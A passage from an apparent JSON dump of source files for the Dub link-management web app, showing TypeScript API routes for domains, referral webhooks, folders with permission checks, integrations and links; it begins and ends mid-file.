||\n        expiredUrl ||\n        notFoundUrl ||\n        assetLinks ||\n        appleAppSiteAssociation ||\n        isNonEmptyJson(deepviewData)\n      ) {\n        const proFeaturesString = combineWords(\n          [\n            logo && \"custom QR code logos\",\n            expiredUrl && \"default expiration URLs\",\n            notFoundUrl && \"not found URLs\",\n            assetLinks && \"Asset Links\",\n            appleAppSiteAssociation && \"Apple App Site Association\",\n            isNonEmptyJson(deepviewData) && \"Deep View\",\n          ].filter(Boolean) as string[],\n        );\n\n        throw new DubApiError({\n          code: \"forbidden\",\n          message: `You can only set ${proFeaturesString} on a Pro plan and above. Upgrade to Pro to use these features.`,\n        });\n      }\n    }\n\n    const validDomain = await validateDomain(slug);\n\n    if (validDomain.error && validDomain.code) {\n      throw new DubApiError({\n        code: validDomain.code,\n        message: validDomain.error,\n      });\n    }\n\n    // Add domain to Vercel if preview/production\n    if (process.env.VERCEL === \"1\") {\n      const vercelResponse = await addDomainToVercel(slug);\n\n      if (\n        vercelResponse.error &&\n        vercelResponse.error.code !== \"domain_already_in_use\" // ignore this error\n      ) {\n        return new Response(vercelResponse.error.message, { status: 422 });\n      }\n    }\n\n    const domainId = createId({ prefix: \"dom_\" });\n\n    const logoUploaded = logo\n      ? await storage.upload({\n          key: `domains/${domainId}/logo_${nanoid(7)}`,\n          body: logo,\n        })\n      : null;\n\n    const domainRecord = await prisma.$transaction(\n      async (tx) => {\n        const totalDomains = await tx.domain.count({\n          where: {\n            projectId: workspace.id,\n          },\n        });\n\n        if (totalDomains >= workspace.domainsLimit) {\n          throw new DubApiError({\n            code: \"exceeded_limit\",\n            message: exceededLimitError({\n              plan: workspace.plan,\n              limit: workspace.domainsLimit,\n              type: \"domains\",\n            }),\n          });\n        }\n        return await tx.domain.create({\n          data: {\n            id: domainId,\n            slug: slug,\n            projectId: workspace.id,\n            primary: totalDomains === 0,\n            ...(placeholder && { placeholder }),\n            expiredUrl,\n            notFoundUrl,\n            ...(logoUploaded && { logo: logoUploaded.url }),\n            ...(assetLinks && { assetLinks: JSON.parse(assetLinks) }),\n            ...(appleAppSiteAssociation && {\n              appleAppSiteAssociation: JSON.parse(appleAppSiteAssociation),\n            }),\n            ...(deepviewData && {\n              deepviewData: JSON.parse(deepviewData),\n            }),\n          },\n        });\n      },\n      {\n        isolationLevel: Prisma.TransactionIsolationLevel.Serializable,\n        maxWait: 5000,\n        timeout: 5000,\n      },\n    );\n\n    await createLink({\n      ...DEFAULT_LINK_PROPS,\n      domain: slug,\n      key: \"_root\",\n      url: \"\",\n      tags: undefined,\n      userId: session.user.id,\n      projectId: workspace.id,\n    });\n\n    return NextResponse.json(\n      transformDomain({\n        ...domainRecord,\n        registeredDomain: null,\n      }),\n      {\n        status: 201,\n      },\n    );\n  },\n  {\n    requiredPermissions: [\"domains.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/domains/search-availability/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { searchDomainsAvailability } from \"@/lib/dynadot/search-domains\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst schema = z.object({\n  domain: z\n    .string()\n    .min(1)\n    .endsWith(\".link\")\n    .transform((domain) => domain.toLowerCase())\n    .describe(\"We only support .link domains for now.\"),\n});\n\n// GET /api/domains/search-availability - search the domain\nexport const GET = withWorkspace(\n  async ({ searchParams }) => {\n    const { domain } = schema.parse(searchParams);\n\n    // max 1 requests per 5s\n    const { success } = await ratelimit(1, \"5 s\").limit(\n      `domain-search:${domain}`,\n    );\n\n    if (!success) {\n      return new Response(\"Don't DDoS me pls 🥺\", { status: 429 });\n    }\n\n    // check if the domain is already registered on Dub\n    const domainOnDub = await prisma.domain.findUnique({\n      where: {\n        slug: domain,\n        verified: true,\n      },\n    });\n\n    if (domainOnDub) {\n      return NextResponse.json([\n        {\n          domain: domainOnDub.slug,\n          available: false,\n          price: null,\n        },\n      ]);\n    }\n\n    // search for the domain on Dynadot\n    const response = await searchDomainsAvailability({\n      domains: {\n        domain0: domain,\n        domain1: `get${domain}`,\n        domain2: `try${domain}`,\n        domain3: `use${domain}`,\n      },\n    });\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"domains.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/dub/webhook/lead-created.ts",
    "content": "import { sendEmail } from \"@dub/email\";\nimport NewReferralSignup from \"@dub/email/templates/new-referral-signup\";\nimport { prisma } from \"@dub/prisma\";\nimport { LeadCreatedEvent } from \"dub/models/components\";\n\nconst REFERRAL_SIGNUPS_MAX = 32;\nexport async function leadCreated(data: LeadCreatedEvent[\"data\"]) {\n  const { link: referralLink } = data;\n\n  if (!referralLink) {\n    return \"Referral link not found in webhook payload\";\n  }\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      referralLinkId: referralLink.id,\n    },\n    include: {\n      users: {\n        select: {\n          user: true,\n        },\n        where: {\n          role: \"owner\",\n        },\n      },\n    },\n  });\n\n  if (!workspace) {\n    return `Referral link workspace not found for ${referralLink.shortLink}`;\n  }\n\n  await Promise.all([\n    prisma.project.update({\n      where: {\n        id: workspace.id,\n      },\n      data: {\n        referredSignups: {\n          increment: 1,\n        },\n        // If the referral link has less than the max number of signups,\n        // update the referrer's workspace usage\n        ...(referralLink.leads &&\n          referralLink.leads < REFERRAL_SIGNUPS_MAX && {\n            usageLimit: {\n              increment: 500,\n            },\n          }),\n      },\n    }),\n    // send notification email to workspace owners\n    workspace.users.map(\n      ({ user: owner }) =>\n        owner.email &&\n        sendEmail({\n          to: owner.email,\n          subject: \"Someone signed up for Dub via your referral link!\",\n          react: NewReferralSignup({\n            email: owner.email,\n            workspace,\n          }),\n        }),\n    ),\n    // TODO: Send merch link for cap\n    // data.link.leads === 10 &&\n    //   sendMerchLink(workspace.id),\n  ]);\n\n  return `Successfully handled referral signup event for ${workspace.name} (slug: ${workspace.slug})`;\n}\n"
  },
  {
    "path": "apps/web/app/api/dub/webhook/route.ts",
    "content": "import { webhookPayloadSchema } from \"@/lib/webhook/schemas\";\nimport crypto from \"crypto\";\nimport { leadCreated } from \"./lead-created\";\nimport { saleCreated } from \"./sale-created\";\n\n// POST /api/dub/webhook - receive webhooks for Dub\nexport const POST = async (req: Request) => {\n  const body = await req.json();\n  const { event, data } = webhookPayloadSchema.parse(body);\n\n  const webhookSignature = req.headers.get(\"Dub-Signature\");\n\n  if (!webhookSignature) {\n    return new Response(\"No signature provided\", { status: 401 });\n  }\n\n  const computedSignature = crypto\n    .createHmac(\"sha256\", `${process.env.DUB_WEBHOOK_SECRET}`)\n    .update(JSON.stringify(body))\n    .digest(\"hex\");\n\n  if (webhookSignature !== computedSignature) {\n    return new Response(\"Invalid signature\", { status: 400 });\n  }\n\n  let response = \"OK\";\n\n  switch (event) {\n    case \"lead.created\": // new signup via referral link (lead event)\n      response = await leadCreated(data);\n      break;\n    case \"sale.created\": // new sale via referral link (sale event)\n      response = await saleCreated(data);\n      break;\n  }\n\n  return new Response(response);\n};\n"
  },
  {
    "path": "apps/web/app/api/dub/webhook/sale-created.ts",
    "content": "import { SaleCreatedEvent } from \"dub/models/components\";\n\nexport async function saleCreated(data: SaleCreatedEvent[\"data\"]) {\n  const { link: referralLink } = data;\n\n  if (!referralLink) {\n    return \"Referral link not found in webhook payload\";\n  }\n\n  return `Successfully handled referral sale event for referral link ${referralLink.id} (${referralLink.shortLink})`;\n}\n"
  },
  {
    "path": "apps/web/app/api/folders/[folderId]/dashboard/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { dashboardSchema } from \"@/lib/zod/schemas/dashboard\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /folders/[folderId]/dashboard – get dashboard for a given folder\nexport const GET = withWorkspace(\n  async ({ params, workspace, session }) => {\n    const { folderId } = params;\n\n    const folder = await verifyFolderAccess({\n      workspace,\n      userId: session.user.id,\n      folderId,\n      requiredPermission: \"folders.read\",\n    });\n\n    const dashboard = await prisma.dashboard.findUnique({\n      where: {\n        folderId: folder.id,\n      },\n    });\n\n    if (!dashboard) return NextResponse.json(null);\n\n    return NextResponse.json(dashboardSchema.parse(dashboard));\n  },\n  {\n    requiredPermissions: [\"folders.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/folders/[folderId]/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { queueFolderDeletion } from \"@/lib/api/folders/queue-folder-deletion\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { FolderSchema, updateFolderSchema } from \"@/lib/zod/schemas/folders\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/folders/[folderId] - get information about a folder\nexport const GET = withWorkspace(\n  async ({ params, workspace, session }) => {\n    const { folderId } = params;\n\n    const folder = await verifyFolderAccess({\n      workspace,\n      userId: session.user.id,\n      folderId,\n      requiredPermission: \"folders.read\",\n    });\n\n    return NextResponse.json(FolderSchema.parse(folder));\n  },\n  {\n    requiredPermissions: [\"folders.read\"],\n    requiredPlan: [\n      \"pro\",\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// PATCH /api/folders/[folderId] – update a folder for a workspace\nexport const PATCH = withWorkspace(\n  async ({ req, params, workspace, session }) => {\n    const { folderId } = params;\n\n    const { name, description, accessLevel } = updateFolderSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    if (accessLevel) {\n      const { canManageFolderPermissions } = getPlanCapabilities(\n        workspace.plan,\n      );\n\n      // accessLevel is only allowed to be set on Business plans and above otherwise it should be always \"write\"\n      if (!canManageFolderPermissions && accessLevel !== \"write\") {\n        throw new DubApiError({\n          code: \"forbidden\",\n          message:\n            \"You can only set access levels for folders on Business plans and above. Upgrade to Business to continue.\",\n        });\n      }\n    }\n\n    await verifyFolderAccess({\n      workspace,\n      userId: session.user.id,\n      folderId,\n      requiredPermission: \"folders.write\",\n    });\n\n    try {\n      const updatedFolder = await prisma.folder.update({\n        where: {\n          id: folderId,\n          projectId: workspace.id,\n        },\n        data: {\n          name,\n          description,\n          accessLevel,\n        },\n      });\n\n      return NextResponse.json(FolderSchema.parse(updatedFolder));\n    } catch (error) {\n      if (error.code === \"P2002\") {\n        throw new DubApiError({\n          code: \"conflict\",\n          message: `A folder with the name \"${name}\" already exists.`,\n        });\n      }\n\n      throw error;\n    }\n  },\n  {\n    requiredPermissions: [\"folders.write\"],\n    requiredPlan: [\n      \"pro\",\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// DELETE /api/folders/[folderId] – delete a folder for a workspace\nexport const DELETE = withWorkspace(\n  async ({ params, workspace, session }) => {\n    const { folderId } = params;\n\n    await verifyFolderAccess({\n      workspace,\n      userId: session.user.id,\n      folderId,\n      requiredPermission: \"folders.write\",\n    });\n\n    // check if the folder is the default folder of a program\n    if (workspace.defaultProgramId) {\n      const program = await prisma.program.findUniqueOrThrow({\n        where: {\n          id: workspace.defaultProgramId,\n        },\n        select: {\n          defaultFolderId: true,\n        },\n      });\n\n      if (program.defaultFolderId === folderId) {\n        throw new DubApiError({\n          code: \"forbidden\",\n          message:\n            \"You cannot delete the default folder for your partner program.\",\n        });\n      }\n    }\n\n    const linksCount = await prisma.link.count({\n      where: {\n        folderId,\n      },\n    });\n\n    // if there are no links associated with the folder, we can just delete it\n    if (linksCount === 0) {\n      await prisma.folder.delete({\n        where: {\n          id: folderId,\n        },\n      });\n    } else {\n      await Promise.all([\n        prisma.folder.update({\n          where: {\n            id: folderId,\n          },\n          data: {\n            projectId: \"\",\n          },\n        }),\n\n        queueFolderDeletion({\n          folderId,\n        }),\n      ]);\n    }\n\n    // Remove the default folder assignment for all users whose defaultFolderId matches the given folderId\n    await prisma.projectUsers.updateMany({\n      where: {\n        defaultFolderId: folderId,\n      },\n      data: {\n        defaultFolderId: null,\n      },\n    });\n\n    waitUntil(\n      prisma.project.update({\n        where: {\n          id: workspace.id,\n        },\n        data: {\n          foldersUsage: {\n            decrement: 1,\n          },\n        },\n      }),\n    );\n\n    return NextResponse.json({ id: folderId });\n  },\n  {\n    requiredPermissions: [\"folders.write\"],\n    requiredPlan: [\n      \"pro\",\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/folders/[folderId]/users/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport {\n  findFolderUserRole,\n  verifyFolderAccess,\n} from \"@/lib/folder/permissions\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/folders/[folderId]/users – get users with access to a folder\nexport const GET = withWorkspace(\n  async ({ params, workspace, session }) => {\n    const { folderId } = params;\n\n    const folder = await verifyFolderAccess({\n      workspace,\n      userId: session.user.id,\n      folderId,\n      requiredPermission: \"folders.read\",\n    });\n\n    const [workspaceUsers, folderUsers] = await Promise.all([\n      prisma.projectUsers.findMany({\n        where: {\n          projectId: workspace.id,\n        },\n        include: {\n          user: {\n            select: {\n              id: true,\n              name: true,\n              email: true,\n              image: true,\n            },\n          },\n        },\n      }),\n\n      prisma.folderUser.findMany({\n        where: {\n          folderId,\n        },\n        include: {\n          user: {\n            select: {\n              id: true,\n              name: true,\n              email: true,\n              image: true,\n            },\n          },\n        },\n      }),\n    ]);\n\n    const users = workspaceUsers.map(({ user, role: workspaceRole }) => {\n      const folderUser = folderUsers.find(\n        (folderUser) => folderUser.userId === user.id,\n      );\n\n      const role = findFolderUserRole({\n        folder,\n        user: folderUser || null,\n        workspaceRole,\n      });\n\n      return {\n        id: user.id,\n        name: user.name,\n        email: user.email,\n        image: user.image,\n        role,\n        workspaceRole,\n      };\n    });\n\n    return NextResponse.json(users);\n  },\n  {\n    requiredPermissions: [\"folders.read\"],\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/folders/access-requests/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/folders/access-requests - get access requests made by the authenticated user\nexport const GET = withWorkspace(\n  async ({ headers, session, workspace }) => {\n    const accessRequests = await prisma.folderAccessRequest.findMany({\n      where: {\n        userId: session.user.id,\n        folder: {\n          projectId: workspace.id,\n        },\n      },\n    });\n\n    return NextResponse.json(accessRequests, {\n      headers,\n    });\n  },\n  {\n    requiredPermissions: [\"folders.read\"],\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/folders/count/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { listFoldersQuerySchema } from \"@/lib/zod/schemas/folders\";\nimport { prisma } from \"@dub/prisma\";\nimport { WorkspaceRole } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/folders/count - get count of folders\nexport const GET = withWorkspace(\n  async ({ workspace, headers, session, searchParams }) => {\n    const { search } = listFoldersQuerySchema\n      .omit({ page: true, pageSize: true })\n      .parse(searchParams);\n\n    const workspaceRole = workspace.users[0]?.role;\n\n    const count = await prisma.folder.count({\n      where: {\n        projectId: workspace.id,\n        ...(workspaceRole !== WorkspaceRole.owner\n          ? {\n              OR: [\n                { accessLevel: { not: null } },\n                {\n                  users: {\n                    some: {\n                      userId: session.user.id,\n                      role: { not: null },\n                    },\n                  },\n                },\n              ],\n              users: {\n                none: {\n                  userId: session.user.id,\n                  role: null,\n                },\n              },\n            }\n          : {}),\n        ...(search && {\n          name: {\n            contains: search,\n          },\n        }),\n      },\n    });\n\n    return NextResponse.json(count, { headers });\n  },\n  {\n    requiredPermissions: [\"folders.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/folders/permissions/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { getFolders } from \"@/lib/folder/get-folders\";\nimport {\n  findFolderUserRole,\n  getFolderPermissions,\n} from \"@/lib/folder/permissions\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/folders/permissions - get folders and their permissions for authenticated user\nexport const GET = withWorkspace(\n  async ({ workspace, headers, session }) => {\n    const folders = await getFolders({\n      workspaceId: workspace.id,\n      userId: session.user.id,\n      pageSize: 200, // TODO: Handle pagination\n    });\n\n    const folderUsers = await prisma.folderUser.findMany({\n      where: {\n        folderId: {\n          in: folders.map((folder) => folder.id),\n        },\n        userId: session.user.id,\n      },\n    });\n\n    const folderWithPermissions = folders.map((folder) => {\n      const folderUser =\n        folderUsers.find((folderUser) => folderUser.folderId === folder.id) ||\n        null;\n\n      const userFolderRole = findFolderUserRole({\n        folder,\n        user: folderUser,\n        workspaceRole: workspace.users[0]?.role,\n      });\n\n      return {\n        id: folder.id,\n        name: folder.name,\n        permissions: getFolderPermissions(userFolderRole),\n      };\n    });\n\n    return NextResponse.json(folderWithPermissions, {\n      headers,\n    });\n  },\n  {\n    requiredPermissions: [\"folders.read\"],\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/folders/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { exceededLimitError } from \"@/lib/exceeded-limit-error\";\nimport { getFolders } from \"@/lib/folder/get-folders\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport {\n  createFolderSchema,\n  FolderSchema,\n  listFoldersQuerySchema,\n} from \"@/lib/zod/schemas/folders\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/folders - get all folders for a workspace\nexport const GET = withWorkspace(\n  async ({ workspace, headers, session, searchParams }) => {\n    const { search, pageSize, page } =\n      listFoldersQuerySchema.parse(searchParams);\n\n    const folders = await getFolders({\n      workspaceId: workspace.id,\n      userId: session.user.id,\n      search,\n      pageSize,\n      page,\n    });\n\n    return NextResponse.json(FolderSchema.array().parse(folders), {\n      headers,\n    });\n  },\n  {\n    requiredPermissions: [\"folders.read\"],\n  },\n);\n\n// POST /api/folders - create a folder for a workspace\nexport const POST = withWorkspace(\n  async ({ req, workspace, headers, session }) => {\n    const { name, description, accessLevel } = createFolderSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    const { canManageFolderPermissions } = getPlanCapabilities(workspace.plan);\n\n    if (!canManageFolderPermissions && accessLevel !== \"write\") {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message:\n          \"You can only change the access level of a folder on Business and above plans.\",\n      });\n    }\n\n    try {\n      const newFolder = await prisma.$transaction(\n        async (tx) => {\n          const result = await tx.$queryRaw<\n            Array<{ foldersUsage: number; foldersLimit: number }>\n          >`SELECT foldersUsage, foldersLimit FROM Project WHERE id = ${workspace.id} FOR UPDATE`;\n\n          const { foldersUsage, foldersLimit } = result[0];\n\n          if (foldersUsage >= foldersLimit) {\n            throw new DubApiError({\n              code: \"exceeded_limit\",\n              message: exceededLimitError({\n                plan: workspace.plan,\n                limit: foldersLimit,\n                type: \"folders\",\n              }),\n            });\n          }\n\n          const newFolder = await tx.folder.create({\n            data: {\n              id: createId({ prefix: \"fold_\" }),\n              projectId: workspace.id,\n              name,\n              description,\n              accessLevel,\n              users: {\n                create: {\n                  userId: session.user.id,\n                  role: \"owner\",\n                },\n              },\n            },\n          });\n\n          await tx.project.update({\n            where: {\n              id: workspace.id,\n            },\n            data: {\n              foldersUsage: {\n                increment: 1,\n              },\n            },\n          });\n\n          return newFolder;\n        },\n        {\n          isolationLevel: Prisma.TransactionIsolationLevel.RepeatableRead,\n          maxWait: 5000,\n          timeout: 5000,\n        },\n      );\n\n      return NextResponse.json(FolderSchema.parse(newFolder), {\n        headers,\n        status: 201,\n      });\n    } catch (error) {\n      if (error.code === \"P2002\") {\n        throw new DubApiError({\n          code: \"conflict\",\n          message: `A folder with the name ${name} already exists.`,\n        });\n      }\n\n      throw error;\n    }\n  },\n  {\n    requiredPermissions: [\"folders.write\"],\n    requiredPlan: [\n      \"pro\",\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/integrations/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/integrations - get all active integrations\nexport const GET = withWorkspace(\n  async ({ workspace }) => {\n    const integrations = await prisma.integration.findMany({\n      select: {\n        id: true,\n        name: true,\n        slug: true,\n      },\n      where: {\n        verified: true,\n        installations: {\n          some: {\n            project: {\n              slug: workspace.slug,\n            },\n          },\n        },\n      },\n    });\n\n    return NextResponse.json(integrations);\n  },\n  {\n    requiredPermissions: [\"workspaces.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/integrations/uninstall/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { slackOAuthProvider } from \"@/lib/integrations/slack/oauth\";\nimport { webhookCache } from \"@/lib/webhook/cache\";\nimport { isLinkLevelWebhook } from \"@/lib/webhook/utils\";\nimport { prisma } from \"@dub/prisma\";\nimport { SLACK_INTEGRATION_ID } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// DELETE /api/integrations/uninstall - uninstall an installation by id\nexport const DELETE = withWorkspace(\n  async ({ searchParams, session, workspace }) => {\n    const { installationId } = searchParams;\n\n    const installation = await prisma.installedIntegration.findUnique({\n      where: {\n        id: installationId,\n        projectId: workspace.id,\n      },\n    });\n\n    if (!installation) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Integration not found\",\n      });\n    }\n\n    if (installation.userId !== session.user.id) {\n      throw new DubApiError({\n        code: \"unauthorized\",\n        message:\n          \"You are not authorized to uninstall this integration. Only the user who installed it can uninstall it.\",\n      });\n    }\n\n    const { integrationId, webhooks } =\n      await prisma.installedIntegration.delete({\n        where: {\n          id: installationId,\n        },\n        select: {\n          integrationId: true,\n          webhooks: {\n            select: {\n              id: true,\n              triggers: true,\n            },\n          },\n        },\n      });\n\n    waitUntil(\n      Promise.all([\n        ...(integrationId === SLACK_INTEGRATION_ID\n          ? [slackOAuthProvider.uninstall(installation)]\n          : []),\n\n        ...webhooks.map((webhook) =>\n          isLinkLevelWebhook(webhook) ? webhookCache.delete(webhook.id) : null,\n        ),\n      ]),\n    );\n\n    return NextResponse.json({ id: installationId });\n  },\n  {\n    requiredPermissions: [\"integrations.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/links/[linkId]/dashboard/route.ts",
    "content": "import { getLinkOrThrow } from \"@/lib/api/links/get-link-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { dashboardSchema } from \"@/lib/zod/schemas/dashboard\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /links/[linkId]/dashboard – get dashboard for a given link\nexport const GET = withWorkspace(\n  async ({ params, workspace }) => {\n    const { linkId } = params;\n\n    const link = await getLinkOrThrow({\n      linkId,\n      workspaceId: workspace.id,\n    });\n\n    const dashboard = await prisma.dashboard.findUnique({\n      where: {\n        linkId: link.id,\n      },\n    });\n\n    if (!dashboard) {\n      return NextResponse.json(null); // This is debatable: 404 vs null?\n    }\n\n    return NextResponse.json(dashboardSchema.parse(dashboard));\n  },\n  {\n    requiredPermissions: [\"links.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/links/[linkId]/route.ts",
    "content": "import { DubApiError, ErrorCodes } from \"@/lib/api/errors\";\nimport {\n  deleteLink,\n  processLink,\n  transformLink,\n  updateLink,\n} from \"@/lib/api/links\";\nimport { getLinkOrThrow } from \"@/lib/api/links/get-link-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { NewLinkProps } from \"@/lib/types\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport {\n  linkEventSchema,\n  updateLinkBodySchemaExtended,\n} from \"@/lib/zod/schemas/links\";\nimport { prisma } from \"@dub/prisma\";\nimport { deepEqual, UTMTags } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/links/[linkId] – get a link\nexport const GET = withWorkspace(\n  async ({ headers, workspace, params, session }) => {\n    const link = await getLinkOrThrow({\n      workspaceId: workspace.id,\n      linkId: params.linkId,\n    });\n\n    if (link.folderId) {\n      await verifyFolderAccess({\n        workspace,\n        userId: session.user.id,\n        folderId: link.folderId,\n        requiredPermission: \"folders.read\",\n      });\n    }\n\n    const tags = await prisma.tag.findMany({\n      where: {\n        links: {\n          some: {\n            linkId: link.id,\n          },\n        },\n      },\n      select: {\n        id: true,\n        name: true,\n        color: true,\n      },\n    });\n\n    const response = transformLink(\n      {\n        ...link,\n        tags: tags.map((tag) => {\n          return { tag };\n        }),\n      },\n      { skipDecodeKey: true },\n    );\n\n    return NextResponse.json(response, { headers });\n  },\n  {\n    requiredPermissions: [\"links.read\"],\n  },\n);\n\n// PATCH /api/links/[linkId] – update a link\nexport const PATCH = withWorkspace(\n  async ({ req, headers, workspace, params, session }) => {\n    const link = await getLinkOrThrow({\n      workspaceId: workspace.id,\n      linkId: params.linkId,\n    });\n\n    const body =\n      (await updateLinkBodySchemaExtended.parseAsync(\n        await parseRequestBody(req),\n      )) || {};\n\n    await Promise.all([\n      ...(link.folderId\n        ? [\n            verifyFolderAccess({\n              workspace,\n              userId: session.user.id,\n              folderId: link.folderId,\n              requiredPermission: \"folders.links.write\",\n            }),\n          ]\n        : []),\n\n      ...(body.folderId\n        ? [\n            verifyFolderAccess({\n              workspace,\n              userId: session.user.id,\n              folderId: body.folderId,\n              requiredPermission: \"folders.links.write\",\n            }),\n          ]\n        : []),\n    ]);\n\n    // Add body onto existing link but maintain NewLinkProps form for processLink\n    const updatedLink = {\n      ...link,\n      expiresAt:\n        link.expiresAt instanceof Date\n          ? link.expiresAt.toISOString()\n          : link.expiresAt,\n      geo: link.geo as NewLinkProps[\"geo\"],\n      ...body,\n      // Only pass UTM tags to processLink when explicitly provided in body (preserves existing values otherwise)\n      ...Object.fromEntries(\n        UTMTags.filter((tag) => tag in body).map((tag) => [tag, body[tag]]),\n      ),\n\n      // When root domain\n      ...(link.key === \"_root\" && {\n        domain: link.domain,\n        key: link.key,\n      }),\n    };\n\n    // if link and updatedLink are identical, return the link\n    if (deepEqual(link, updatedLink)) {\n      return NextResponse.json(link, { headers });\n    }\n\n    if (updatedLink.projectId !== link?.projectId) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message:\n          \"Transferring links to another workspace is only allowed via the /links/[linkId]/transfer endpoint.\",\n      });\n    }\n\n    // if domain and key are the same, we don't need to check if the key exists\n    const skipKeyChecks =\n      link.domain === updatedLink.domain &&\n      link.key.toLowerCase() === updatedLink.key?.toLowerCase();\n\n    // if externalId is the same, we don't need to check if it exists\n    const skipExternalIdChecks =\n      link.externalId?.toLowerCase() === updatedLink.externalId?.toLowerCase();\n\n    const {\n      link: processedLink,\n      error,\n      code,\n    } = await processLink({\n      payload: updatedLink,\n      workspace,\n      skipKeyChecks,\n      skipExternalIdChecks,\n      skipFolderChecks: true,\n    });\n\n    if (error) {\n      throw new DubApiError({\n        code: code as ErrorCodes,\n        message: error,\n      });\n    }\n\n    try {\n      const response = await updateLink({\n        oldLink: {\n          domain: link.domain,\n          key: link.key,\n          image: link.image,\n        },\n        updatedLink: processedLink,\n      });\n\n      waitUntil(\n        sendWorkspaceWebhook({\n          trigger: \"link.updated\",\n          workspace,\n          data: linkEventSchema.parse(response),\n        }),\n      );\n\n      return NextResponse.json(response, {\n        headers,\n      });\n    } catch (error) {\n      throw new DubApiError({\n        code: \"unprocessable_entity\",\n        message: error.message,\n      });\n    }\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n\n// backwards compatibility\nexport const PUT = PATCH;\n\n// DELETE /api/links/[linkId] – delete a link\nexport const DELETE = withWorkspace(\n  async ({ headers, params, workspace, session }) => {\n    const link = await getLinkOrThrow({\n      workspaceId: workspace.id,\n      linkId: params.linkId,\n    });\n\n    if (link.folderId) {\n      await verifyFolderAccess({\n        workspace,\n        userId: session.user.id,\n        folderId: link.folderId,\n        requiredPermission: \"folders.links.write\",\n      });\n    }\n\n    const response = await deleteLink(link.id);\n\n    waitUntil(\n      sendWorkspaceWebhook({\n        trigger: \"link.deleted\",\n        workspace,\n        data: 